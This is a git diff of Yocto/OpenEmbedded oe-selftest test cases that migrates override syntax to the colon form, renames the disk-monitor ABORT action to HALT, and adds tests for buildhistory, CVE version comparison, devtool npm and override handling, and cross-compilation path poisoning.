- self.assertIn("ccache", loglines, msg="No match for ccache in m4-native log.do_compile. For further details: %s" % log_compile)
+ self.assertIn("ccache", loglines, msg="No match for ccache in %s log.do_compile. For further details: %s" % (recipe , log_compile))
def test_read_only_image(self):
distro_features = get_bb_var('DISTRO_FEATURES')
if not ('x11' in distro_features and 'opengl' in distro_features):
- self.skipTest('core-image-sato requires x11 and opengl in distro features')
+ self.skipTest('core-image-sato/weston requires x11 and opengl in distro features')
self.write_config('IMAGE_FEATURES += "read-only-rootfs"')
- bitbake("core-image-sato")
+ bitbake("core-image-sato core-image-weston")
# do_image will fail if there are any pending postinsts
class DiskMonTest(OESelftestTestCase):
def test_stoptask_behavior(self):
- self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
self.assertTrue('ERROR: No new tasks can be executed since the disk space monitor action is "STOPTASKS"!' in res.output, msg = "Tasks should have stopped. Disk monitor is set to STOPTASK: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "ABORT,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "HALT,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
- self.assertTrue('ERROR: Immediately abort since the disk space monitor action is "ABORT"!' in res.output, "Tasks should have been aborted immediatelly. Disk monitor is set to ABORT: %s" % res.output)
+ self.assertTrue('ERROR: Immediately halt since the disk space monitor action is "HALT"!' in res.output, "Tasks should have been halted immediately. Disk monitor is set to HALT: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay")
self.assertTrue('WARNING: The free space' in res.output, msg = "A warning should have been displayed for disk monitor is set to WARN: %s" %res.output)
@@ -77,9 +78,9 @@ class SanityOptionsTest(OESelftestTestCase):
def test_options_warnqa_errorqa_switch(self):
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
if "packages-list" not in get_bb_var("ERROR_QA"):
- self.append_config("ERROR_QA_append = \" packages-list\"")
+ self.append_config("ERROR_QA:append = \" packages-list\"")
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
self.add_command_to_tearDown('bitbake -c clean xcursor-transparent-theme')
@@ -89,8 +90,8 @@ class SanityOptionsTest(OESelftestTestCase):
self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
- self.append_config('ERROR_QA_remove = "packages-list"')
- self.append_config('WARN_QA_append = " packages-list"')
+ self.append_config('ERROR_QA:remove = "packages-list"')
+ self.append_config('WARN_QA:append = " packages-list"')
res = bitbake("xcursor-transparent-theme -f -c package")
self.delete_recipeinc('xcursor-transparent-theme')
line = self.getline(res, "QA Issue: xcursor-transparent-theme-dbg is listed in PACKAGES multiple times, this leads to packaging errors.")
@@ -143,10 +144,34 @@ class BuildhistoryTests(BuildhistoryBase):
def test_buildhistory_buildtime_pr_backwards(self):
target = 'xcursor-transparent-theme'
- error = "ERROR:.*QA Issue: Package version for package %s went backwards which would break package feeds from (.*-r1.* to .*-r0.*)" % target
+ error = "ERROR:.*QA Issue: Package version for package %s went backwards which would break package feeds \(from .*-r1.* to .*-r0.*\)" % target
self.run_buildhistory_operation(target, target_config="PR = \"r1\"", change_bh_location=True)
self.run_buildhistory_operation(target, target_config="PR = \"r0\"", change_bh_location=False, expect_error=True, error_regex=error)
+ def test_fileinfo(self):
+ self.config_buildhistory()
+ bitbake('hicolor-icon-theme')
+ history_dir = get_bb_var('BUILDHISTORY_DIR_PACKAGE', 'hicolor-icon-theme')
+ self.assertTrue(os.path.isdir(history_dir), 'buildhistory dir was not created.')
+
+ def load_bh(f):
+ d = {}
+ for line in open(f):
+ split = [s.strip() for s in line.split('=', 1)]
+ if len(split) > 1:
+ d[split[0]] = split[1]
+ return d
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme', 'latest'))
+ self.assertIn('FILELIST', data)
+ self.assertEqual(data['FILELIST'], '/usr/share/icons/hicolor/index.theme')
+ self.assertGreater(int(data['PKGSIZE']), 0)
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme-dev', 'latest'))
+ if 'FILELIST' in data:
+ self.assertEqual(data['FILELIST'], '')
+ self.assertEqual(int(data['PKGSIZE']), 0)
+
class ArchiverTest(OESelftestTestCase):
def test_arch_work_dir_and_export_source(self):
"""
@@ -158,8 +183,8 @@ class ArchiverTest(OESelftestTestCase):
deploy_dir_src = get_bb_var('DEPLOY_DIR_SRC')
pkgs_path = g.glob(str(deploy_dir_src) + "/allarch*/xcurs*")
src_file_glob = str(pkgs_path[0]) + "/xcursor*.src.rpm"
- tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.gz"
- self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.gz files under %s/allarch*/xcursor*" % deploy_dir_src)
+ tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.xz"
+ self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.xz files under %s/allarch*/xcursor*" % deploy_dir_src)
class ToolchainOptions(OESelftestTestCase):
def test_toolchain_fortran(self):
@@ -167,7 +192,7 @@ class ToolchainOptions(OESelftestTestCase):
Test that Fortran works by building a Hello, World binary.
"""
- features = 'FORTRAN_forcevariable = ",fortran"\n'
+ features = 'FORTRAN:forcevariable = ",fortran"\n'
self.write_config(features)
bitbake('fortran-helloworld')
@@ -196,3 +221,9 @@ PREMIRRORS = "\\
bitbake("world --runall fetch")
+
+class Poisoning(OESelftestTestCase):
+ def test_poisoning(self):
+ res = bitbake("poison", ignore_status=True)
+ self.assertNotEqual(res.status, 0)
+ self.assertTrue("is unsafe for cross-compilation" in res.output)
diff --git a/meta/lib/oeqa/selftest/cases/containerimage.py b/meta/lib/oeqa/selftest/cases/containerimage.py
index c0998e319e..e0aea1a1ef 100644
--- a/meta/lib/oeqa/selftest/cases/containerimage.py
+++ b/meta/lib/oeqa/selftest/cases/containerimage.py
@@ -13,7 +13,7 @@ from oeqa.utils.commands import bitbake, get_bb_vars, runCmd
# The only package added to the image is container_image_testpkg, which
# contains one file. However, due to some other things not cleaning up during
# rootfs creation, there is some cruft. Ideally bugs will be filed and the
-# cruft removed, but for now we whitelist some known set.
+# cruft removed, but for now we ignore some known set.
#
# Also for performance reasons we're only checking the cruft when using ipk.
# When using deb, and rpm it is a bit different and we could test all
@@ -22,7 +22,7 @@ from oeqa.utils.commands import bitbake, get_bb_vars, runCmd
#
class ContainerImageTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_expected_files(self):
@@ -42,6 +42,9 @@ IMAGE_FSTYPES = "container"
PACKAGE_CLASSES = "package_ipk"
IMAGE_FEATURES = ""
IMAGE_BUILDINFO_FILE = ""
+INIT_MANAGER = "sysvinit"
+IMAGE_INSTALL:remove = "ssh-pregen-hostkeys"
+
""")
bbvars = get_bb_vars(['bindir', 'sysconfdir', 'localstatedir',
@@ -57,11 +60,7 @@ IMAGE_BUILDINFO_FILE = ""
'.{sysconfdir}/version',
'./run/',
'.{localstatedir}/cache/',
- '.{localstatedir}/cache/ldconfig/',
- '.{localstatedir}/cache/ldconfig/aux-cache',
- '.{localstatedir}/cache/opkg/',
- '.{localstatedir}/lib/',
- '.{localstatedir}/lib/opkg/'
+ '.{localstatedir}/lib/'
]
expected_files = [ x.format(bindir=bbvars['bindir'],
diff --git a/meta/lib/oeqa/selftest/cases/cve_check.py b/meta/lib/oeqa/selftest/cases/cve_check.py
new file mode 100644
index 0000000000..d1947baffc
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/cve_check.py
@@ -0,0 +1,44 @@
+from oe.cve_check import Version
+from oeqa.selftest.case import OESelftestTestCase
+
+class CVECheck(OESelftestTestCase):
+
+ def test_version_compare(self):
+ result = Version("100") > Version("99")
+ self.assertTrue( result, msg="Failed to compare version '100' > '99'")
+ result = Version("2.3.1") > Version("2.2.3")
+ self.assertTrue( result, msg="Failed to compare version '2.3.1' > '2.2.3'")
+ result = Version("2021-01-21") > Version("2020-12-25")
+ self.assertTrue( result, msg="Failed to compare version '2021-01-21' > '2020-12-25'")
+ result = Version("1.2-20200910") < Version("1.2-20200920")
+ self.assertTrue( result, msg="Failed to compare version '1.2-20200910' < '1.2-20200920'")
+
+ result = Version("1.0") >= Version("1.0beta")
+ self.assertTrue( result, msg="Failed to compare version '1.0' >= '1.0beta'")
+ result = Version("1.0-rc2") > Version("1.0-rc1")
+ self.assertTrue( result, msg="Failed to compare version '1.0-rc2' > '1.0-rc1'")
+ result = Version("1.0.alpha1") < Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0.alpha1' < '1.0'")
+ result = Version("1.0_dev") <= Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0_dev' <= '1.0'")
+
+ # ignore "p1" and "p2", so these should be equal
+ result = Version("1.0p2") == Version("1.0p1")
+ self.assertTrue( result ,msg="Failed to compare version '1.0p2' to '1.0p1'")
+ # ignore the "b" and "r"
+ result = Version("1.0b") == Version("1.0r")
+ self.assertTrue( result ,msg="Failed to compare version '1.0b' to '1.0r'")
+
+ # consider the trailing alphabet as patched level when comparing
+ result = Version("1.0b","alphabetical") < Version("1.0r","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' < '1.0r'")
+ result = Version("1.0b","alphabetical") > Version("1.0","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' > '1.0'")
+
+ # consider the trailing "p" and "patch" as patched released when comparing
+ result = Version("1.0","patch") < Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0' < '1.0p1'")
+ result = Version("1.0p2","patch") > Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0p2' > '1.0p1'")
+ result = Version("1.0_patch2","patch") < Version("1.0_patch3","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0_patch2' < '1.0_patch3'")
diff --git a/meta/lib/oeqa/selftest/cases/devtool.py b/meta/lib/oeqa/selftest/cases/devtool.py
index 3a25da2033..e910672c31 100644
--- a/meta/lib/oeqa/selftest/cases/devtool.py
+++ b/meta/lib/oeqa/selftest/cases/devtool.py
@@ -56,7 +56,8 @@ def setUpModule():
if pth.startswith(canonical_layerpath):
if relpth.endswith('/'):
destdir = os.path.join(corecopydir, relpth)
- shutil.copytree(pth, destdir)
+ # avoid race condition by not copying .pyc files YPBZ#13421,13803
+ shutil.copytree(pth, destdir, ignore=shutil.ignore_patterns('*.pyc', '__pycache__'))
else:
destdir = os.path.join(corecopydir, os.path.dirname(relpth))
bb.utils.mkdirhier(destdir)
@@ -79,32 +80,15 @@ def tearDownModule():
bb.utils.edit_bblayers_conf(bblayers_conf, None, None, bblayers_edit_cb)
shutil.rmtree(templayerdir)
-class DevtoolBase(OESelftestTestCase):
-
- @classmethod
- def setUpClass(cls):
- super(DevtoolBase, cls).setUpClass()
- bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
- cls.original_sstate = bb_vars['SSTATE_DIR']
- cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
- cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
- cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
- % cls.original_sstate)
-
- @classmethod
- def tearDownClass(cls):
- cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
- runCmd('rm -rf %s' % cls.devtool_sstate)
- super(DevtoolBase, cls).tearDownClass()
+class DevtoolTestCase(OESelftestTestCase):
def setUp(self):
"""Test case setup function"""
- super(DevtoolBase, self).setUp()
+ super(DevtoolTestCase, self).setUp()
self.workspacedir = os.path.join(self.builddir, 'workspace')
self.assertTrue(not os.path.exists(self.workspacedir),
'This test cannot be run with a workspace directory '
'under the build directory')
- self.append_config(self.sstate_conf)
def _check_src_repo(self, repo_dir):
"""Check srctree git repository"""
@@ -137,6 +121,7 @@ class DevtoolBase(OESelftestTestCase):
with open(recipefile, 'r') as f:
invar = None
invalue = None
+ inherits = set()
for line in f:
var = None
if invar:
@@ -158,7 +143,7 @@ class DevtoolBase(OESelftestTestCase):
invar = var
continue
elif line.startswith('inherit '):
- inherits = line.split()[1:]
+ inherits.update(line.split()[1:])
if var and var in checkvars:
needvalue = checkvars.pop(var)
@@ -234,6 +219,30 @@ class DevtoolBase(OESelftestTestCase):
return filelist
+class DevtoolBase(DevtoolTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ super(DevtoolBase, cls).setUpClass()
+ bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
+ cls.original_sstate = bb_vars['SSTATE_DIR']
+ cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
+ cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
+ cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
+ % cls.original_sstate)
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
+ runCmd('rm -rf %s' % cls.devtool_sstate)
+ super(DevtoolBase, cls).tearDownClass()
+
+ def setUp(self):
+ """Test case setup function"""
+ super(DevtoolBase, self).setUp()
+ self.append_config(self.sstate_conf)
+
+
class DevtoolTests(DevtoolBase):
def test_create_workspace(self):
@@ -267,7 +276,7 @@ class DevtoolAddTests(DevtoolBase):
self.track_for_cleanup(tempdir)
pn = 'pv'
pv = '1.5.3'
- url = 'http://www.ivarch.com/programs/sources/pv-1.5.3.tar.bz2'
+ url = 'http://downloads.yoctoproject.org/mirror/sources/pv-1.5.3.tar.bz2'
result = runCmd('wget %s' % url, cwd=tempdir)
result = runCmd('tar xfv %s' % os.path.basename(url), cwd=tempdir)
srcdir = os.path.join(tempdir, '%s-%s' % (pn, pv))
@@ -334,11 +343,11 @@ class DevtoolAddTests(DevtoolBase):
self.assertIn(srcdir, result.output)
self.assertIn(recipefile, result.output)
checkvars = {}
- checkvars['LICENSE'] = 'GPLv2'
+ checkvars['LICENSE'] = 'GPL-2.0-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '0.1+git${SRCPV}'
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https'
+ checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https;branch=master'
checkvars['SRCREV'] = srcrev
checkvars['DEPENDS'] = set(['dbus'])
self._test_recipe_contents(recipefile, checkvars, [])
@@ -371,7 +380,7 @@ class DevtoolAddTests(DevtoolBase):
recipefile = '%s/recipes/libftdi/libftdi_%s.bb' % (self.workspacedir, version)
result = runCmd('recipetool setvar %s EXTRA_OECMAKE -- \'-DPYTHON_BINDINGS=OFF -DLIBFTDI_CMAKE_CONFIG_DIR=${datadir}/cmake/Modules\'' % recipefile)
with open(recipefile, 'a') as f:
- f.write('\nFILES_${PN}-dev += "${datadir}/cmake/Modules"\n')
+ f.write('\nFILES:${PN}-dev += "${datadir}/cmake/Modules"\n')
# We don't have the ability to pick up this dependency automatically yet...
f.write('\nDEPENDS += "libusb1"\n')
f.write('\nTESTLIBOUTPUT = "${COMPONENTS_DIR}/${TUNE_PKGARCH}/${PN}/${libdir}"\n')
@@ -440,6 +449,7 @@ class DevtoolAddTests(DevtoolBase):
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
self.track_for_cleanup(tempdir)
url = 'gitsm://git.yoctoproject.org/mraa'
+ url_branch = '%s;branch=master' % url
checkrev = 'ae127b19a50aa54255e4330ccfdd9a5d058e581d'
testrecipe = 'mraa'
srcdir = os.path.join(tempdir, testrecipe)
@@ -460,7 +470,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.0+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = '${AUTOREV}'
self._test_recipe_contents(recipefile, checkvars, [])
# Try with revision and version specified
@@ -479,7 +489,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.5+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = checkrev
self._test_recipe_contents(recipefile, checkvars, [])
@@ -510,6 +520,30 @@ class DevtoolAddTests(DevtoolBase):
checkvars['SRC_URI'] = url.replace(testver, '${PV}')
self._test_recipe_contents(recipefile, checkvars, [])
+ def test_devtool_add_npm(self):
+ collections = get_bb_var('BBFILE_COLLECTIONS').split()
+ if "openembedded-layer" not in collections:
+ self.skipTest("Test needs meta-oe for nodejs")
+
+ pn = 'savoirfairelinux-node-server-example'
+ pv = '1.0.0'
+ url = 'npm://registry.npmjs.org;package=@savoirfairelinux/node-server-example;version=' + pv
+ # Test devtool add
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c cleansstate %s' % pn)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool add \'%s\'' % url)
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created')
+ self.assertExists(os.path.join(self.workspacedir, 'recipes', pn, '%s_%s.bb' % (pn, pv)), 'Recipe not created')
+ self.assertExists(os.path.join(self.workspacedir, 'recipes', pn, pn, 'npm-shrinkwrap.json'), 'Shrinkwrap not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(pn, result.output)
+ # Clean up anything in the workdir/sysroot/sstate cache (have to do this *after* devtool add since the recipe only exists then)
+ bitbake('%s -c cleansstate' % pn)
+ # Test devtool build
+ result = runCmd('devtool build %s' % pn)
+
class DevtoolModifyTests(DevtoolBase):
def test_devtool_modify(self):
@@ -623,7 +657,7 @@ class DevtoolModifyTests(DevtoolBase):
self.track_for_cleanup(self.workspacedir)
self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
- testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk meta-ide-support'.split()
+ testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk'.split()
# Find actual name of gcc-source since it now includes the version - crude, but good enough for this purpose
result = runCmd('bitbake-layers show-recipes gcc-source*')
for line in result.output.splitlines():
@@ -655,7 +689,7 @@ class DevtoolModifyTests(DevtoolBase):
bbclassextended = False
inheritnative = False
- testrecipes = 'mtools-native apt-native desktop-file-utils-native'.split()
+ testrecipes = 'cdrtools-native mtools-native apt-native desktop-file-utils-native'.split()
for testrecipe in testrecipes:
checkextend = 'native' in (get_bb_var('BBCLASSEXTEND', testrecipe) or '').split()
if not bbclassextended:
@@ -671,7 +705,44 @@ class DevtoolModifyTests(DevtoolBase):
self.assertTrue(bbclassextended, 'None of these recipes are BBCLASSEXTENDed to native - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
self.assertTrue(inheritnative, 'None of these recipes do "inherit native" - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
+ def test_devtool_modify_localfiles_only(self):
+ # Check preconditions
+ testrecipe = 'base-files'
+ src_uri = (get_bb_var('SRC_URI', testrecipe) or '').split()
+ foundlocalonly = False
+ correct_symlink = False
+ for item in src_uri:
+ if item.startswith('file://'):
+ if '.patch' not in item:
+ foundlocalonly = True
+ else:
+ foundlocalonly = False
+ break
+ self.assertTrue(foundlocalonly, 'This test expects the %s recipe to fetch local files only and it seems that it no longer does' % testrecipe)
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ srcfile = os.path.join(tempdir, 'oe-local-files/share/dot.bashrc')
+ srclink = os.path.join(tempdir, 'share/dot.bashrc')
+ self.assertExists(srcfile, 'Extracted source could not be found')
+ if os.path.islink(srclink) and os.path.exists(srclink) and os.path.samefile(srcfile, srclink):
+ correct_symlink = True
+ self.assertTrue(correct_symlink, 'Source symlink to oe-local-files is broken')
+ matches = glob.glob(os.path.join(self.workspacedir, 'appends', '%s_*.bbappend' % testrecipe))
+ self.assertTrue(matches, 'bbappend not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Try building
+ bitbake(testrecipe)
def test_devtool_modify_git(self):
# Check preconditions
@@ -751,6 +822,26 @@ class DevtoolModifyTests(DevtoolBase):
self._check_src_repo(tempdir)
# This is probably sufficient
+ def test_devtool_modify_overrides(self):
+ # Try modifying a recipe with patches in overrides
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify devtool-patch-overrides -x %s' % (tempdir))
+
+ self._check_src_repo(tempdir)
+ source = os.path.join(tempdir, "source")
+ def check(branch, expected):
+ runCmd('git -C %s checkout %s' % (tempdir, branch))
+ with open(source, "rt") as f:
+ content = f.read()
+ self.assertEquals(content, expected)
+ check('devtool', 'This is a test for something\n')
+ check('devtool-no-overrides', 'This is a test for something\n')
+ check('devtool-override-qemuarm', 'This is a test for qemuarm\n')
+ check('devtool-override-qemux86', 'This is a test for qemux86\n')
+
class DevtoolUpdateTests(DevtoolBase):
def test_devtool_update_recipe(self):
@@ -821,7 +912,7 @@ class DevtoolUpdateTests(DevtoolBase):
self._check_repo_status(os.path.dirname(recipefile), expected_status)
result = runCmd('git diff %s' % os.path.basename(recipefile), cwd=os.path.dirname(recipefile))
- addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git"']
+ addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master"']
srcurilines = src_uri.split()
srcurilines[0] = 'SRC_URI = "' + srcurilines[0]
srcurilines.append('"')
@@ -892,7 +983,7 @@ class DevtoolUpdateTests(DevtoolBase):
self.assertExists(patchfile, 'Patch file not created')
# Check bbappend contents
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://0001-Add-our-custom-version.patch"\n',
'\n']
@@ -907,7 +998,7 @@ class DevtoolUpdateTests(DevtoolBase):
result = runCmd('git reset HEAD^', cwd=tempsrcdir)
result = runCmd('devtool update-recipe %s -a %s' % (testrecipe, templayerdir))
self.assertNotExists(patchfile, 'Patch file not deleted')
- expectedlines2 = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines2 = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
with open(bbappendfile, 'r') as f:
self.assertEqual(expectedlines2, f.readlines())
@@ -1087,6 +1178,59 @@ class DevtoolUpdateTests(DevtoolBase):
('??', '.*/0001-Add-new-file.patch$')]
self._check_repo_status(os.path.dirname(recipefile), expected_status)
+ def test_devtool_update_recipe_with_gitignore(self):
+ # First, modify the recipe
+ testrecipe = 'devtool-test-ignored'
+ bb_vars = get_bb_vars(['FILE'], testrecipe)
+ recipefile = bb_vars['FILE']
+ patchfile = os.path.join(os.path.dirname(recipefile), testrecipe, testrecipe + '.patch')
+ newpatchfile = os.path.join(os.path.dirname(recipefile), testrecipe, testrecipe + '.patch.expected')
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ # (don't bother with cleaning the recipe on teardown, we won't be building it)
+ result = runCmd('devtool modify %s' % testrecipe)
+ self.add_command_to_tearDown('cd %s; rm %s/*; git checkout %s %s' % (os.path.dirname(recipefile), testrecipe, testrecipe, os.path.basename(recipefile)))
+ result = runCmd('devtool finish --force-patch-refresh %s meta-selftest' % testrecipe)
+ # Check recipe got changed as expected
+ with open(newpatchfile, 'r') as f:
+ desiredlines = f.readlines()
+ with open(patchfile, 'r') as f:
+ newlines = f.readlines()
+ # Ignore the initial lines, because oe-selftest creates own meta-selftest repo
+ # which changes the metadata subject which is added into the patch, but keep
+ # .patch.expected as it is in case someone runs devtool finish --force-patch-refresh
+ # devtool-test-ignored manually, then it should generate exactly the same .patch file
+ self.assertEqual(desiredlines[5:], newlines[5:])
+
+ def test_devtool_update_recipe_long_filename(self):
+ # First, modify the recipe
+ testrecipe = 'devtool-test-long-filename'
+ bb_vars = get_bb_vars(['FILE'], testrecipe)
+ recipefile = bb_vars['FILE']
+ patchfilename = '0001-I-ll-patch-you-only-if-devtool-lets-me-to-do-it-corr.patch'
+ patchfile = os.path.join(os.path.dirname(recipefile), testrecipe, patchfilename)
+ newpatchfile = os.path.join(os.path.dirname(recipefile), testrecipe, patchfilename + '.expected')
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ # (don't bother with cleaning the recipe on teardown, we won't be building it)
+ result = runCmd('devtool modify %s' % testrecipe)
+ self.add_command_to_tearDown('cd %s; rm %s/*; git checkout %s %s' % (os.path.dirname(recipefile), testrecipe, testrecipe, os.path.basename(recipefile)))
+ result = runCmd('devtool finish --force-patch-refresh %s meta-selftest' % testrecipe)
+ # Check recipe got changed as expected
+ with open(newpatchfile, 'r') as f:
+ desiredlines = f.readlines()
+ with open(patchfile, 'r') as f:
+ newlines = f.readlines()
+ # Ignore the initial lines, because oe-selftest creates own meta-selftest repo
+ # which changes the metadata subject which is added into the patch, but keep
+ # .patch.expected as it is in case someone runs devtool finish --force-patch-refresh
+ # devtool-test-ignored manually, then it should generate exactly the same .patch file
+ self.assertEqual(desiredlines[5:], newlines[5:])
+
def test_devtool_update_recipe_local_files_3(self):
# First, modify the recipe
testrecipe = 'devtool-test-localonly'
@@ -1426,7 +1570,11 @@ class DevtoolUpgradeTests(DevtoolBase):
dstdir = os.path.join(dstdir, p)
if not os.path.exists(dstdir):
os.makedirs(dstdir)
- self.track_for_cleanup(dstdir)
+ if p == "lib":
+ # Can race with other tests
+ self.add_command_to_tearDown('rmdir --ignore-fail-on-non-empty %s' % dstdir)
+ else:
+ self.track_for_cleanup(dstdir)
dstfile = os.path.join(dstdir, os.path.basename(srcfile))
if srcfile != dstfile:
shutil.copy(srcfile, dstfile)
@@ -1496,11 +1644,13 @@ class DevtoolUpgradeTests(DevtoolBase):
recipedir = os.path.dirname(oldrecipefile)
olddir = os.path.join(recipedir, recipe + '-' + oldversion)
patchfn = '0001-Add-a-note-line-to-the-quick-reference.patch'
+ backportedpatchfn = 'backported.patch'
self.assertExists(os.path.join(olddir, patchfn), 'Original patch file does not exist')
- return recipe, oldrecipefile, recipedir, olddir, newversion, patchfn
+ self.assertExists(os.path.join(olddir, backportedpatchfn), 'Backported patch file does not exist')
+ return recipe, oldrecipefile, recipedir, olddir, newversion, patchfn, backportedpatchfn
def test_devtool_finish_upgrade_origlayer(self):
- recipe, oldrecipefile, recipedir, olddir, newversion, patchfn = self._setup_test_devtool_finish_upgrade()
+ recipe, oldrecipefile, recipedir, olddir, newversion, patchfn, backportedpatchfn = self._setup_test_devtool_finish_upgrade()
# Ensure the recipe is where we think it should be (so that cleanup doesn't trash things)
self.assertIn('/meta-selftest/', recipedir)
# Try finish to the original layer
@@ -1511,14 +1661,23 @@ class DevtoolUpgradeTests(DevtoolBase):
self.assertNotExists(os.path.join(self.workspacedir, 'recipes', recipe), 'Recipe directory should not exist after finish')
self.assertNotExists(oldrecipefile, 'Old recipe file should have been deleted but wasn\'t')
self.assertNotExists(os.path.join(olddir, patchfn), 'Old patch file should have been deleted but wasn\'t')
+ self.assertNotExists(os.path.join(olddir, backportedpatchfn), 'Old backported patch file should have been deleted but wasn\'t')
newrecipefile = os.path.join(recipedir, '%s_%s.bb' % (recipe, newversion))
newdir = os.path.join(recipedir, recipe + '-' + newversion)
